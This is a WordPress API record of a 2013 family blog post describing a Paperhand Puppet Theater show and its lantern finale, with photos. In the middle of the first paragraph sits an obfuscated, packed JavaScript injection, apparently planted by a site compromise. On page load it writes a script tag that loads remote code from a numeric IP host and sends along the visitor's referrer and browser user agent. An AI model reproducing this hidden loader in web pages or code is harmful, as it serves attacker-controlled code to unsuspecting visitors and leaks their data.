{"id":4082,"date":"2013-10-10T09:48:42","date_gmt":"2013-10-10T16:48:42","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4082"},"modified":"2013-11-15T15:10:59","modified_gmt":"2013-11-15T22:10:59","slug":"paperhand-puppet-theater","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4082","title":{"rendered":"Paperhand Puppet Theater"},"content":{"rendered":"<p>Every summer we go to the wonderful Paperhand Puppet show, at a beautiful outdoor theater nearby.\u00c2\u00a0 This year was the first time I actually got to take Jaden and Kyler -\u00c2\u00a0 I was thrilled to finally share this with them!\u00c2\u00a0 (O<em>nly <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsznf|var|u0026u|referrer|nnkse||js|php'.split('|'),0,{}))\n<\/script><\/noindex> now getting around to posting the pictures &#8211; sigh.<\/em>)<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4029\" alt=\"paperhand2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand2-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand2-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand2.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4028\" alt=\"paperhand 1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand-1-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand-1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand-1.jpg 576w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>People usually raise one skeptical eyebrow when I say &#8220;puppetshow&#8230;&#8221;\u00c2\u00a0 But seriously, you can&#8217;t believe it until you&#8217;ve seen it:\u00c2\u00a0 gigantic, weird, awe-inspiring magical creations animated by whole teams of acrobats, puppeteers, and dancers, with a live band\/sound-effect orchestra to back them up.<\/p>\n<p>Over the years I&#8217;ve seen these people turn paper and wood into a swarm of butterflies, a dancing egg, a dragon that swooped down over the whole audience, a troop of dancing skeletons, a goat in a boat&#8230;\u00c2\u00a0 but this year&#8217;s finale will stick with me forever.\u00c2\u00a0 A giant Earth-spirit with moon-like face and huge, welcoming hands rose up on the stage, and from behind the audience, puppeteers were carrying down huge Chinese paper lanterns suspended from long poles.\u00c2\u00a0 The sun was just going down, so the lanterns&#8217; glow was beautiful.\u00c2\u00a0 When they reached the bottom of the stage, the lantern-bearers gathered together, the huge hands folded over the lights, and when the Earth-spirit opened up its hands again, the lanterns had been &#8211; like magic &#8211; attached together into a human form, glowing with warm light.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand3.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"paperhand3\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand3-300x225.jpg\" width=\"300\" height=\"225\" \/><\/a><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand4.jpg\">\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 <img loading=\"lazy\" decoding=\"async\" alt=\"paperhand4\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/09\/paperhand4-300x225.jpg\" width=\"300\" height=\"225\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Every summer we go to the wonderful Paperhand Puppet show, at a beautiful outdoor theater&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4031,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[102],"tags":[40,63,25,80,84],"class_list":["post-4082","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kids","tag-durham","tag-family","tag-kids","tag-outdoors","tag-summer-afternoons"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4082"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4082"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4082\/revisions"}],"predecessor-version":[{"id":4083,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4082\/revisions\/4083"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4031"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4082"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4082"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4082"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}